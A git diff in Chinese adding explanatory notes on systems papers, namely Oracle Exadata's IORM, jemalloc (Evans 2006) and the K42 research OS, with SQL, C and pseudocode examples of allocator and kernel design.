+-- BATCH 批处理占 2 份，INTERACTIVE 交互事务占 6 份
+BEGIN
+  DBMS_RESOURCE_MANAGER.SET_PDB_WORKLOAD_SETTING(
+    pdb_name   => 'PDB_SALES',
+    workload   => 'INTERACTIVE',
+    shares     => 6
+  );
+  DBMS_RESOURCE_MANAGER.SET_PDB_WORKLOAD_SETTING(
+    pdb_name   => 'PDB_SALES',
+    workload   => 'BATCH',
+    shares     => 2
+  );
+END;
+/
+```
+
+### 示例 3：验证 IORM 的运行效果
+
+```sql
+-- 查看当前 IORM 调度器的统计信息
+SELECT
+  consumer_group,
+  total_reads,
+  total_writes,
+  read_latency_ms,
+  write_latency_ms
+FROM v$iostat_consumer_group
+ORDER BY read_latency_ms;
+```
+
+## 六、为什么操作系统调度器做不到？
+
+这是理解 IORM 价值的关键。
+
+Linux 的 I/O 调度器（CFQ、BFQ、Kyber）工作在**块层**。对它们来说，每个 8KB 的读请求都一样——它们不知道这个请求是事务提交的一部分（紧急），还是后台备份（不急）。
+
+cgroups（Linux 进程级资源控制）也不行，因为一个数据库进程服务于多个租户——内核无法区分同一个进程发出的请求属于哪个租户。
+
+Hypervisor 级别的调度器能区分虚拟机，但虚拟机内部的租户结构它看不到。
+
+**IORM 的创新在于：把数据库的语义信息（谁在发请求、发的是什么类型的请求）传播到存储层，让调度器能做语义感知的决策。**
+
+## 七、评估结果（生产环境数据）
+
+论文在真实 Exadata 系统上做了评估，主要结论：
+
+- **延迟一致性大幅提升**：长尾延迟异常几乎消除。没有 IORM 时，一个后台扫描可以让事务延迟从 1ms 飙到 100ms+；有了 IORM，这种干扰基本被隔离。
+- **比例分配跟踪配置比例**：即使需求极度不均（某个租户 90% 带宽 + 其他租户各 1%），IORM 的配置比例跟踪仍然很接近设定值。
+- **分层限制正确组合**：三层限制嵌套后，不会出现下层突破上层约束的情况。
+- **调度开销可忽略**：每个 I/O 的标签生成不到 100ns。
+
+## 八、实际运维经验
+
+论文分享了在生产环境中的运维教训，其中一条很有意思：
+
+**不要用百分比去调每一层存储设备。** 因为数据库自己决定数据落在哪个层级（PMEM、Flash 还是 HDD），管理员没法指定"租户 A 用 20% 的 NVMe + 5% 的 HDD"——数据库根据缓存策略自动路由。所以策略的单位应该是租户的总 I/O 配额，而不是按设备分层设置。
+
+## 九、总结：一句话理解 IORM
+
+> IORM 给每个 I/O 请求贴上"身份标签"，然后在存储层用"分层份额+上限"来调度，让数千个租户共享存储时互不干扰。
+
+类比回我们的公寓：IORM 就是一个智能物业系统——每个租户的快递都贴上标签标明重要性，快递柜有分层配额（每层楼最多占多少资源），紧急药品优先配送，备份数据直接走侧门不占主通道，缓存柜只存高频物品不被一次性扫描占用。
diff --git a/src/content/docs/papers/ix-2014.md b/src/content/docs/papers/ix-2014.md
index 6060158e8..7438929a2 100644
--- a/src/content/docs/papers/ix-2014.md
+++ b/src/content/docs/papers/ix-2014.md
@@ -168,6 +168,7 @@ IX 只需 **3 核**就能跑满 10GbE，Linux 用完 8 核也无法跑满。原
 - [[b4-2013]] —— B4 — Google 用 SDN 把跨数据中心 WAN 利用率拉到 95%+
 - [[barrelfish-2009]] —— Barrelfish / Multikernel — 把多核机器当成一个小型网络来设计 OS
 - [[borg]] —— Borg — Google 把一万台机器假装成一台
+- [[farm-2015]] —— FaRM — 用 RDMA 把集群内存变成一块「共享白板」
 - [[kvm-2007]] —— KVM 2007 — 把 Linux 内核本身变成 hypervisor
 - [[memcached-fb-2013]] —— Scaling Memcache at Facebook — 万台缓存怎么不被踩塌
 - [[shenango-2019]] —— Shenango — 每 5 微秒重新分一次核的中央调度器
diff --git a/src/content/docs/papers/jemalloc-evans-2006.md b/src/content/docs/papers/jemalloc-evans-2006.md
new file mode 100644
index 000000000..5afc880be
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+---
+title: jemalloc（Evans 2006）— 多 arena 让多线程 malloc 不再抢同一把锁
+来源: https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+jemalloc 是 Jason Evans 在 2006 年 BSDCan 上发表的 **FreeBSD libc `malloc(3)` 实现**，用来替换当时单线程时代设计、在多核 SMP 上已成瓶颈的 phkmalloc（Poul-Henning Kamp, 1998）。
+
+日常类比：公司前台只有一个「杂物抽屉」，所有人领订书钉、便签、文件夹都挤在同一格子里翻找——**抽屉把手就是锁**。phkmalloc 就是这样：算法本身优秀，但多线程同时 `malloc`/`free` 时，大家抢同一把锁，CPU 核越多越堵。
+
+jemalloc 的做法是：
+
+- **摆很多个抽屉柜**（arena），新人入职按顺序分到不同柜子（round-robin），减少撞车；
+- **每种规格单独一格**（size class），要 100 字节就发 128 字节的槽，不再现场锯木头；
+- **每个线程手边再放一个小收纳盒**（后来的 tcache，论文原版主要靠 arena 分片），常用尺寸随手拿，不必每次都开柜门。
+
+你写的 `malloc(48)` 在内部会被**向上取整**到最近的 size class（默认 48 B 正好一档），从当前 arena 里对应 run 的 region 位图里找第一个空槽——多数路径只碰本线程绑定的 arena，锁竞争大幅下降。
+
+## 为什么重要
+
+不理解这篇论文，下面这些事很难讲清楚：
+
+- 为什么 FreeBSD 7 之后默认 malloc 能扛多线程，而 2005 年社区邮件里 jemalloc 在 5 线程 micro-benchmark 上比 phkmalloc 快 **15×（sparc64）到 80×（amd64）**
+- 为什么 Firefox、Redis、Rust（早期）纷纷把 jemalloc 链进进程——**不是玄学调优，是 arena + size class 这套结构**
+- 为什么今天谈 tcmalloc、mimalloc 时总说「jemalloc 系」——**多 arena、固定档位、run/region 分层**是工业界共识起点
+- 为什么 `malloc` 慢时 profiler 里经常是锁等待，而不是你的业务逻辑
+
+论文摘要里的结论很直白：**多线程分配随 CPU 数扩展良好，单线程性能与 phkmalloc 相当**。它把「分配器」从 bookkeeping 问题升级成「多核缓存一致性 + 锁竞争」问题。
+
+## 核心概念
+
+### 1. 碎片：内部 vs 外部
+
+- **内部碎片**：你要 100 B，分配器给你 128 B 档，多出的 28 B 浪费在对象两侧——size class 的代价。
+- **外部碎片**：堆上明明有空洞，但凑不出连续大块——buddy 合并规则、run 生命周期管理要对付这个。
+
+phkmalloc 极度压缩工作集页；jemalloc 时代 RAM 便宜，**CPU cache 行争用**更致命。论文明确：先尽量省总内存，再在不妨碍的前提下让**时间上相邻的分配在地址上相邻**，改善 cache locality。
+
+### 2. False sharing（伪共享）
+
+两个线程各改自己的对象，若两个对象落在**同一 cache line**（通常 64 B），硬件会让两颗 CPU 反复抢夺该行所有权——比锁还隐蔽。
+
+jemalloc **不靠给每个对象 padding**（那会炸内部碎片），而是靠 **多 arena 把不同线程的元数据/对象分散**；性能关键路径上若「一线程分配、多线程写」，仍建议应用层自己按 cache line 对齐。
+
+### 3. Arena：分片降低锁竞争
+
+Larson & Krishnan (1998) 试过「每个 free list 一把锁」——锁争用低了，但 **cache sloshing**（分配器元数据在核间来回弹跳）仍让扩展性崩掉。他们的解法是 **多 arena + 按线程 hash 绑定**。
+
+jemalloc 的改进：
+
+| 配置 | arena 数量 |
+|------|-----------|
+| 单核 | 1（抢占才可能争用） |
+| 多核 | **4 × CPU 数**（默认） |
+
+线程**第一次** `malloc`/`free` 时 **round-robin** 绑定 arena（存在 TLS），比 hash 线程 ID 更均匀。论文在 4 核 Opteron 上默认 **16 个 arena**——`malloc-test` 在 ≤16 线程时几乎线性扩展，第 17 个线程才开始撞 arena。
+
+### 4. Chunk：与内核打交道的基本单位
+
+从 `sbrk`/`mmap` 拿来的内存按 **chunk** 对齐切块，默认 **2 MB**。chunk 起始地址永远是 chunk 大小的整数倍，于是给定任意指针，**O(1)** 算它属于哪个 chunk。
+
+chunk 内部再交给某个 arena 切成 page run；**huge** 分配（> 半 chunk）直接独占连续 chunk，元数据放在全局红黑树（数量少，不是扩展瓶颈）。
+
+### 5. Size class 三档 + 小对象三子档
+
+请求先**向上取整**到最近档位：
+
+| 类别 | 范围（默认 4 KB 页） | 说明 |
+|------|----------------------|------|
+| Small / Tiny | 2–8 B | 2 的幂对齐即可 |
+| Small / Quantum-spaced | 16–512 B | 按 **quantum**（通常 16 B）递增：16, 32, 48… |
+| Small / Sub-page | 1–2 KB | 整页内切 region |
+| Large | 4 KB–1 MB | 整 run 服务单次大块 |
+| Huge | ≥ 2 MB | 直接 chunk 映射 |
+
+**Quantum-spaced** 是论文里的关键取舍：若只用 2 的幂档位，`malloc(48)` 会落到 64 B，内部碎片大；48 B 单独一档，**小对象平均内部碎片显著下降**，代价是档位变多、外部碎片可能略升——实测通常净赚。
+
+### 6. Run + Region bitmap
+
+Small 对象在一个 **run**（连续若干页）里只服务**一个** size class。run 头部有 **region bitmap**：
+
+- 快速扫描第一个空闲 region（紧凑填充）；
+- **元数据与对象数据分离**——应用踩坏对象不易腐蚀分配器链表；
+- tiny 档位也能支持（若在 free object 里嵌 free list 会更难做 2 B 档）。
+
+每个 size class 同时有多个 run，但任一时刻只有一个 **current run**。run 按使用率分桶（QINIT → Q0 → Q25 → Q50 → Q75 → Q100），**QINIT 的 run 不会被销毁**——避免一次 `malloc`/`free` 就创建/拆掉 run 的抖动；只有空到 Q0 才删除。
+
+选新 current run 的优先级：**Q50 > Q25 > Q0 > Q75**（Q75 几乎满了，当 current 会导致频繁换 run）。
+
+### 7. 运行时配置（继承 phkmalloc）
+
+通过 `/etc/malloc.conf` 符号链接、`MALLOC_OPTIONS` 环境变量或 `malloc_options` 全局变量调参——**低开销、非侵入**。调试选项与性能参数都走这条路；统计默认编译关闭（论文坦承：连 per-arena 分配计数都会 measurable 变慢）。
+
+## 代码示例
+
+### 示例 1：最普通的 C 程序里发生了什么
+
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <pthread.h>
+
+#define N_THREADS 8
+#define ITERS     100000
+
+static void *worker(void *arg) {
+    (void)arg;
+    for (int i = 0; i < ITERS; i++) {
+        /* 请求 100 字节 → jemalloc 向上取整到 128 B (quantum-spaced 档) */
+        char *buf = malloc(100);
+        if (!buf) return NULL;
+        memset(buf, i & 0xff, 100);  /* 触摸数据页，模拟真实使用 */
+        free(buf);
+    }
+    return NULL;
+}
+
+int main(void) {
+    pthread_t tid[N_THREADS];
+    for (int i = 0; i < N_THREADS; i++)
+        pthread_create(&tid[i], NULL, worker, NULL);
+    for (int i = 0; i < N_THREADS; i++)
+        pthread_join(tid[i], NULL);
+    printf("done\n");
+    return 0;
+}
+```
+
+**逐行读懂路径**：
+
+1. 每个线程第一次 `malloc` 时绑定一个 arena（round-robin）。
+2. `100` 不是任意大小，查表得到 **128 B** size class。
+3. 在该 arena 的 128 B run 里扫 bitmap，弹出 region；若 current run 满了，按 Q50→Q25→Q0 顺序换 run。
+4. 多线程各用各 arena 时，**锁只在同一 arena 内争用**；8 线程、16 arena 时碰撞概率低。
+5. 用 phkmalloc 跑同样代码，多线程会挤**全局锁**——这正是 `malloc-test` micro-benchmark 里 phkmalloc/dlmalloc 曲线断崖的原因。
+
+FreeBSD/Linux 上对比分配器：
+
+```bash
+# 强制使用 jemalloc（需已安装 libjemalloc）
+LD_PRELOAD=/usr/lib/libjemalloc.so.2 ./a.out
+
+# 打印退出时统计（需 jemalloc 编译时开启 stats）
+MALLOC_CONF=stats_print:true LD_PRELOAD=libjemalloc.so.2 ./a.out
+```
+
+### 示例 2：用 `mallctl` 观察 size class 与 arena（现代 jemalloc API）
+
+论文里的统计输出（Figure 10 风格）在现代 jemalloc 里仍可通过 `mallctl` 读取。下面片段展示**如何查询当前线程 arena** 并**打印 bin 统计**——对应论文「bins: bin size nregs … nrequests」表头：
+
+```c
+#define JEMALLOC_NO_DEMANGLE
+#include <jemalloc/jemalloc.h>
+#include <stdio.h>
+
+int main(void) {
+    unsigned arena;
+    size_t sz = sizeof(arena);
+
+    /* 把本线程固定到 arena 3（调优热点线程时用） */
+    arena = 3;
+    mallctl("thread.arena", NULL, NULL, &arena, sizeof(arena));
+
+    mallctl("thread.arena", &arena, &sz, NULL, 0);
+    printf("this thread uses arena %u\n", arena);
+
+    /* 分配几种典型尺寸，制造 bin 流量 */
+    void *a = malloc(16);   /* tiny/quantum 边界 */
+    void *b = malloc(48);   /* 论文强调的非 2 幂档位 */
+    void *c = malloc(512);  /* small 上限附近 */
+    free(a);
+    free(b);
+    free(c);
+
+    /* 进程退出前打印统计（等价于 MALLOC_CONF=stats_print:true） */
+    malloc_stats_print(NULL, NULL, NULL);
+    return 0;
+}
+```
+
+编译：`cc -o probe probe.c -ljemalloc`。输出里每个 **bin** 一行：size、run 大小、请求次数——直接对应论文 cca benchmark 统计里「bin 2 T 8 … nrequests 64656199」那种表格。读表时记住：**nrequests 涨而 curruns 不涨**，说明该档位缓存命中好；**curruns 狂增**，可能有外部碎片或线程全挤同一 arena。
+
+## 论文实验在说什么
+
+### 多线程
+
+1. **malloc-test**（Lever & Boreham, 2000）：每线程循环 `malloc(512)`/`free`，共 4000 万次。jemalloc 在 ≤4 线程近线性扩展；phkmalloc/dlmalloc 第二线程起就塌，>10 线程慢到没法测。
+2. **super-smack + MySQL**：真实 DB 客户端负载。jemalloc **中位数与 phkmalloc 接近，但最坏情况稳定**；phkmalloc 在 75→80 客户端时性能断崖，尾部延迟极差。
+
+### 单线程
+
+五个程序（cca、cfrac、Ghostscript、sh6bench、smlng）——作者承认有**选择偏差**（专门挑 malloc 敏感的）。结论：**时间与峰值内存与 phkmalloc/dlmalloc 同级**。sh6bench 上 jemalloc 更慢是因为 benchmark **分配后不用内存**，jemalloc 每次仍要摸 bitmap，而 dlmalloc 几乎不碰元数据——**合成测试不能代表真实应用**。
+
+### 碎片观测
+
+作者用 `ktrace` + malloc `U` 选项 + 自写 kdump 绘图工具（Figure 9）看**时间轴上内存占用形状**，而非只看 `max RSS`。这是论文里很「工程师」的一面：标准工具只给定量峰值，布局策略要靠可视化迭代。
+
+## 设计取舍（Discussion 精华）
+
+开发中砍掉的功能说明 **分配器性能对「多出来的计数器、除法、检查」极度敏感**：
+
+- per-arena 总分配字节计数 → 默认关闭统计；
+- 各种 sanity check → 只留 API 必需的最小检查；
+- 保留 phkmalloc 式 **运行时配置**，几乎不影响快路径。
+
+论文结尾很谦虚：**没有对所有分配模式都最优的分配器**；jemalloc 的目标是 FreeBSD 多核时代够用十年——事实上它服务了 FreeBSD、Firefox、Facebook 基础设施、Redis 等远超十年的生态。
+
+## 踩坑清单
+
+1. **arena 数 ≠ 越多越好**：默认 `4×CPU` 是为碰撞概率设计的；嵌入式单线程应减 `narenas`。
+2. **size class 边界设计结构体**：`malloc(sizeof(T))` 若从 512 变 520，可能从 512 B 档跳到 544 B 档——**结构体 padding 要对着档位表设计**。
+3. **跨线程传递对象**：在 arena A 分配、在线程 B 频繁 `free`，B 的 arena 与对象所属 run 不一致，锁路径变长；高频 handoff 考虑内存池或 per-thread free list。
+4. **huge 分配**：大于半 chunk 走单独路径，频繁 `malloc(3MB)`/`free` 会 mmap/munmap 抖动——应自己池化或使用 `posix_memalign` + 复用。
+5. **别用 sh6bench 判生死**：论文自己说合成 trace 对碎片和性能的结论都不可靠。
+
+## 与后辈分配器的关系
+
+| 分配器 | 与 jemalloc 2006 的关系 |
+|--------|------------------------|
+| tcmalloc (Google) | 同样多 arena + size class + 线程缓存，中央 freelist 思路不同 |
+| Hoard | 更早证明 per-processor heap 扩展性；jemalloc 更贴近 libc 集成 |
+| mimalloc (Microsoft) | free list sharding，可视为 tcache + arena 的进一步细化 |
+
+## 学到什么
+
+1. **多核 malloc 的第一性原理是分片**——先减少共享写 cache line，再谈 free list 技巧。
+2. **固定 size class 是用少量内部碎片换 O(1) 分配与更低元数据争用**；quantum-spaced 档位是为真实小对象分布量身定做。
+3. **run  fullness 滞后（hysteresis）** 是系统设计中「避免抖动」的样板——别在边界条件上创建/销毁昂贵资源。
+4. **测量分配器必须测真实程序**——论文反复强调 Wilson et al. 1995 综述里的教训；微基准只说明上界或病理 case。
+5. **好 libc 组件能穿越二十年**——理解 2006 这篇，等于理解今天服务器进程里仍在跑的 malloc 行为。
+
+## 延伸阅读
+
+- 论文 PDF：[A Scalable Concurrent malloc(3) Implementation for FreeBSD](https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf)
+- FreeBSD 邮件列表：[New malloc ready, take 42](https://lists.freebsd.org/pipermail/freebsd-current/2005-December/059216.html)（2005 年引入前的性能数据）
+- Facebook：[Scalable memory allocation using jemalloc](https://engineering.fb.com/2011/01/03/core-infra/scalable-memory-allocation-using-jemalloc/)
+- 现代手册：[jemalloc.net](http://jemalloc.net/)
+- 对照阅读：[[jemalloc-2006]]（本库另一篇偏工程应用的笔记）、[[slab-1994]]、[[immix-mark-region]]
+
+## 关联
+
+- [[jemalloc-2006]] —— 同一主题，侧重 Firefox/Redis 实践与 MALLOC_CONF
+- [[slab-1994]] —— 内核里「固定大小对象缓存」的鼻祖，思想与 run/region 同源
+- [[rcu-mckenney-2017]] —— 另一类多核读多写少问题的解法，可与 arena 分片对照
+- [[moesi-cache-coherence-1986]] —— false sharing 的硬件根因
diff --git a/src/content/docs/papers/k42-research-os-2006.md b/src/content/docs/papers/k42-research-os-2006.md
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@@ -0,0 +1,227 @@
+---
+title: K42 — 从零造一套能跑 Linux 程序的可扩展研究 OS
+来源: https://dl.acm.org/doi/10.1145/1218063.1217949
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一座**大型连锁超市**要同时服务两种顾客：
+
+- **普通顾客**（未改动的 Linux 应用）只认熟悉的收银台：POSIX API、glibc、bash、Apache、MySQL——他们不想学新规矩。
+- **超市运营方**（OS 研究者）却想在后台把货架、冷库、收银逻辑**按门店、按时段、按商品品类**拆开重组，而且换一套收银算法时**不用关店打烊**。
+
+传统宏内核（经典 Linux）像**总部集权**：全国共用一套全局库存表、一把大锁、一种分页策略。门店从 2 家扩到 200 家时，收银台排队和仓库争用会指数级恶化。
+
+**K42**（IBM Research，1996 年启动，EuroSys 2006 系统论文）走的是另一条路：**对象化 + 按请求就地生长 + 集群对象（Clustered Objects）**。内核不是「一个大结构体」，而是一棵按需实例化的对象树；多核上每个 CPU 尽量只碰**本 CPU 上的 Rep（Representative）**，避免全局锁。
+
+日常类比再推一步：
+
+| 场景 | 传统 UNIX 内核 | K42 |
+|------|----------------|-----|
+| 打开两个文件 | 往往共享全局 page cache、inode 锁 | 每个打开实例有**独立一组对象**，策略可不同 |
+| 多线程 Web 服务器缺页 | 多核抢同一个 `struct mm_struct` 相关锁 | Process 的 Clustered Object 按 CPU 复制/分区 |
+| 打安全补丁 | 重启或冒险 `insmod` | **Hot swap**：换实现、迁状态、不断服务 |
+| 跑现有软件 | 天然兼容 | **Linux API/ABI**，未改二进制也能跑 |
+
+论文 *K42: Building a Complete Operating System*（Krieger 等，EuroSys 2006，亦刊于 ACM SIGOPS Operating Systems Review Vol. 40 No. 4）不是教你怎么装发行版，而是**十年完整系统研究**的经验总结：动机、核心技术、研究方向，以及「研究 OS 怎样才算真的能用」。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 作者 | Orran Krieger, Marc Auslander, Bryan Rosenburg, Robert W. Wisniewski, Jimi Xenidis, Dilma Da Silva, Michal Ostrowski, Jonathan Appavoo, Maria Butrico, Mark Mergen, Amos Waterland, Volkmar Uhlig（IBM T. J. Watson Research Center） |
+| 场合 | EuroSys 2006，比利时鲁汶，4 月 18–21 日 |
+| DOI | [10.1145/1218063.1217949](https://dl.acm.org/doi/10.1145/1218063.1217949) |
+| 许可证 | LGPL 开源 |
+| 目标平台 | PowerPC（G5、POWER3/4）、Mambo 全系统模拟器 |
+| 兼容层 | **Linux API + ABI**，可运行未修改的 Linux 应用与 glibc |
+
+1996 年立项时的五条技术预判（论文 §1.1）今天读来很有意思：
+
+1. Windows 将统治客户端与大部分服务器——**猜错了**，但促使团队认真考虑「怎样让研究 OS 接得上主流生态」。
+2. 多处理器从高端到芯片多核都会爆发——**猜对了**，可扩展性是 K42 的基石。
+3. 维护宏内核成本会越来越高——**部分正确**，全局数据结构与策略纠缠仍是痛点。
+4. 可定制 OS（Exokernel、Spin、Vino 路线）会很重要——**猜对了**，K42 把定制做成基础设施而非个案 hack。
+5. 五年内全部 64 位——**大体正确**，K42 利用 64 位指针塞状态位、减少哈希结构。
+
+## 为什么值得零基础读
+
+1. **研究 OS 的「完整系统」范本**：不是只写一个新调度器贴进 Linux，而是从内存、文件、线程、跟踪、虚拟化到 Linux 兼容整栈打通——和 Singularity、Barrelfish、seL4 同期对话。
+2. **Clustered Objects 是多核局部性的教科书**：比「加把细粒度锁」更系统——接口统一，实现可在单 Rep、按簇、全分布之间切换。
+3. **Hot swap / dynamic upgrade 是运维思想的先驱**：补丁、自适应算法、按应用特化组件，用**同一套**替换机制，而不是每种场景写一种 `kprobe`。
+4. **Linux 兼容的务实工程**：直接链入 Linux 的 TCP/IP、驱动、部分文件系统代码，又用 trap reflection 保 glibc 不改——研究平台与生产生态之间的折中样本。
+5. **影响面超出论文页数**：贡献回流 Linux（模块卸载、quiescence）、Power 上的 Xen；曾用于 DOE FAST-OS、IBM PERCS；与 Tornado、Exokernel、Hive 等谱系一脉相承。
+
+## 核心概念一：可扩展性四件套
+
+论文 §3 把「怎样在多核 SMP/NUMA 上不失速」拆成四种互补技术：
+
+### 1. PPC（Protected Procedure Call）
+
+像**跨地址空间的函数调用**，但有一条硬规则：**客户端请求总在本地 CPU 上被服务**。客户端线程阻塞，但所属 **dispatcher**（见下）仍可运行其他用户态线程——类似 handoff 调度，避免内核里堆 thousands of kernel threads。
+
+### 2. 局部性感知的动态内存分配
+
+每个 CPU 有内存池；对象为某次请求创建时，**在受理该请求的 CPU 上分配**，减少 false sharing 和远程 NUMA 访问。
+
+### 3. 对象分解（Object decomposition）
+
+服务 = 动态互联的对象实例集合，**懒构造**。例如：进程 P 把文件 F 的某段映射进地址空间，会生成**专属于 (P, F, mapping)** 的对象链；别的映射走别的对象，缺页处理不会踩全局 inode 锁。
+
+### 4. Clustered Objects（集群对象）
+
+对外是一个对象接口；对内可有一个 **Root**（全局锚点）和多个 **Rep**（可在每 CPU 或每簇一个）。方法调用自动路由到**调用方本地 Rep**——这是 K42 区别于「普通 C++ 内核」的标志机制。
+
+## 核心概念二：内存管理对象树
+
+每个 K42 进程有一个地址空间，由 **Region** 划分连续虚拟区间；每个 Region 映射到某个「文件」（含匿名计算存储的特殊 file）。
+
+| 对象 | 职责 |
+|------|------|
+| **Process** | 进程对象树根：Region 列表 + 硬件映射信息 |
+| **Region** | 虚拟地址连续区间 → 文件内偏移连续区间 |
+| **File Representative** | 内核侧文件化身，对接外部文件服务器做 I/O |
+| **FCM（File Cache Manager）** | 该文件在内存中的页帧、本地换页策略 |
+| **PM（Page Manager）** | 全局页帧分配给各 FCM |
+| **HAT / SegmentHAT** | 硬件页表或 PowerPC VSID 等；段可私有或跨地址空间共享 |
+
+设计意图：**机制与策略可独立替换、组合**。同一 Region 可接「普通文件」或「处理器相关内存」（虚拟地址映射随 CPU 不同而指向不同物理页），只换对象实现，不动全局 VM 子系统。
+
+额外约束（论文 §4）还包括：统一 buffer cache、页错误/upcall 不阻塞内核线程、可分页内核、外部文件服务器、fork/COW、NUMA 与大页支持。
+
+## 核心概念三：动态定制（Hot swap）
+
+每个资源实例由**自己的**对象集合管理——两个应用同时打开「文件」类资源，可以挂**不同** FCM 策略。
+
+- **Hot swapping**：用新组件替换旧组件，**接口不变**，内部状态迁移，外部引用重连，客户端无感。
+- **Dynamic upgrade**：对系统中某类服务的**所有**对象实例批量热换（例如升级 Process 对象实现时，每个进程一个实例，可懒换）。
+
+适用场景论文写得很实在：安全补丁不停机、自适应算法模块化、常见路径特化实现、按需插桩、应用自带优化组件、第三方模块——**一套基础设施覆盖**，而不是每种需求发明一种内核补丁格式。
+
+## 核心概念四：Dispatcher 与用户态调度
+
+K42 把传统内核线程调度撕开：
+
+- **内核**调度 **dispatcher**（地址空间 + 调度实体，绑定 QoS/优先级类）。
+- **用户态线程库**在 dispatcher 上调度 **thread**。
+- 一个进程可多个 dispatcher：并行、不同优先级，或不同线程模型。
+- 缺页、PPC 阻塞的是 thread，dispatcher 通过 **upcall** 换跑别的 thread——**创建一万个线程不会比单线程多占内核 pinned 内存**。
+
+IPC 主力是 **PPC**（同步，跨进程对象方法调用）；另有异步 IPC 和同进程 dispatcher 间 **soft interrupt** 快速信令。参数过大放不进寄存器时，用每 CPU 一块的 **PPC page**（像扩展寄存器，上下文切换时按需保存）。
+
+## 代码示例 1：Clustered Object 计数器（论文 §6 思路）
+
+下面用 C++ 风格伪代码说明：**外部看是一个 Counter，内部按 CPU 分片**，`getVal` 时才汇总——与「全局原子变量」对比，高并发 `inc` 几乎无共享写。
+
+```cpp
+// 用户可见接口
+class Counter {
+public:
+    virtual void inc() = 0;
+    virtual void dec() = 0;
+    virtual long getVal() = 0;
+};
+
+// 每个 CPU 上的 Rep：常见路径只碰本地 val
+class CounterRep : public Counter {
+    long val = 0;
+    CounterRoot* root;
+public:
+    void inc() override { ++val; }
+    void dec() override { --val; }
+    long getVal() override {
+        // 读全局时才跨 CPU 聚合（Root 协调各 Rep）
+        return root->aggregate();
+    }
+};
+
+// Root：决定 map 多少 CPU → 一个 Rep（共享 / 分片 / 每 CPU 一个）
+class CounterRoot {
+    CounterRep* repForCpu(int cpu);
+    long aggregate();  // sum reps
+};
+```
+
+调用 `inc()` 时，运行库根据当前 CPU 把调用路由到本地 `CounterRep`——**客户端代码不知道有几个 Rep**。若工作负载以 `getVal` 为主，可换成共享 `val` 的实现，**换的是 Root/Rep 策略，不是 API**。
+
+## 代码示例 2：Linux 系统调用的两条路径（trap reflection vs 直跳）
+
+论文 §10：既要**未修改 glibc**，又要 Exokernel 式**直跳内核旁路代码**。
+
+```c
+// 路径 A：未修改 glibc —— 仍执行 syscall 指令，内核把 trap「反射」回应用地址空间里的系统库
+void linux_compat_path(void) {
+    // glibc 汇编桩：syscall
+    // → K42 内核捕获 → 转给用户态 system library 实现
+    write(fd, buf, len);
+}
+
+// 路径 B：打过补丁的 glibc —— 直接 branch 到已映射的 K42 服务桩（论文称约快 44%）
+void k42_fast_path(void) {
+    // 等价于：__k42_syscall_vector[SYS_write](fd, buf, len);
+    // 不经 trap，无内核入口/出口往返
+    write(fd, buf, len);
+}
+```
+
+应用还可通过宏在 **Linux 仿真模式**与**原生 K42 服务**之间切换，对热点路径（如自定义分页、专用文件语义）逐步重写，而不必一次抛弃整个 Linux 栈。
+
+## 核心概念五：Linux 兼容与 KFS
+
+- **用户态**：标准 Debian 根文件系统、bash、gcc、Apache、MySQL、MPI 混合集群（论文记载）。
+- **内核态**：OO 内核 + **直接嵌入** Linux 网络栈、驱动、部分 FS 代码——用「类理想硬件」适配层隔离，维护成本不低。
+- **KFS**：体现 K42 哲学的文件系统（每文件独立缓存对象、可 hot swap 实现）；也可跑在 Linux 上复用其 page cache。
+
+线程是难点：**pthread 走 K42 自有线程方案**，与 Linux 线程模型切换时要小心边界（论文 §10 后续讨论）。
+
+## 核心概念六：性能监控基础设施
+
+论文 §9 强调：**跟踪设施应在最初设计时一体考虑**，而不是事后给 vfs、驱动、NPTL 各打补丁。
+
+- 每 CPU 无锁环形缓冲，原子追加**变长事件**；
+- 应用、库、服务器、内核写入**统一时间线**；
+- 默认编译进系统，可动态开关，可图形化查看锁竞争。
+
+团队用它在 K42 上分析 Linux 应用性能，修好后**回到原生 Linux 仍能受益**——研究平台也是性能实验室。
+
+## 核心概念七：虚拟化（Application Managers）
+
+1996 年 K42 提出 **Application Managers**：大机器上按应用规模**时间复用**多个 OS 实例做故障隔离（与 Disco 空间复用 VM 不同）。多年后这与 **VMM / hypervisor** 潮流汇合；论文 §12 描述与 Xen on Power 等工作的关系——K42 自己后来也是虚拟化研究的载体。
+
+## 与相关系统的对照
+
+| 系统 | 与 K42 的关系 |
+|------|----------------|
+| **Mach / L4** | 微内核 + 用户态服务器；K42 更偏 OO 集群对象 + 库进应用地址空间，且完整 Linux 兼容 |
+| **Exokernel** | 库在应用空间、应用可选策略；K42 吸收思想但保留更强内核对象模型 |
+| **Tornado** | PPC 与 per-processor 局部性；K42 扩展 OO 到定制与 hot swap |
+| **Singularity** | 同期「整栈重设计」；Singularity 放弃旧 ABI，K42 **保留** Linux ABI |
+| **Linux 主线** | K42 的 quiescence、模块卸载等回流；研究原型 vs 产品路径 |
+
+## 1996 年预判十年后的复盘（论文 §13 精神）
+
+论文诚实回顾：Windows 统治力不如预期；**多核与可扩展性**比想象更关键；64 位普及；**可定制与动态升级**在云计算、热补丁时代更有价值。技术方向随之从 Application Managers 强调转向虚拟化与 PERCS/FAST-OS 等企业级探索——**活的研究平台会改路线图**，但 Clustered Objects + 局部性 + Linux 兼容这三根支柱一直在。
+
+## 读懂这篇论文你能带走什么
+
+1. **多核 OS 首先减 sharing**：对象分解 + per-CPU Rep 比「把大锁拆成小锁」更结构性。
+2. **接口稳定、实现可换**是研究 OS 能持续十年的原因——hot swap 不是炫技，是补丁与实验的通用句柄。
+3. **兼容现有生态**要付税（trap reflection、嵌入 Linux 驱动、pthread 缝隙），但换来真实工作负载与社区可复现。
+4. **观测与结构同设计**：没有统一 trace，很难证明 scalability 优化有效。
+
+## 延伸阅读
+
+- K42 主页（历史）：`www.research.ibm.com/K42`
+- IBM Systems Journal：*Experience with K42, an open-source, Linux-compatible, scalable operating-system kernel*
+- EuroSys 2008：*K42: Lessons for the OS community*（Wisniewski 等，社区教训篇）
+- 对比阅读：Exokernel (SOSP 1995)、Tornado (ASPLOS 1996)、Xen (SOSP 2003)
+
+## 小结
+
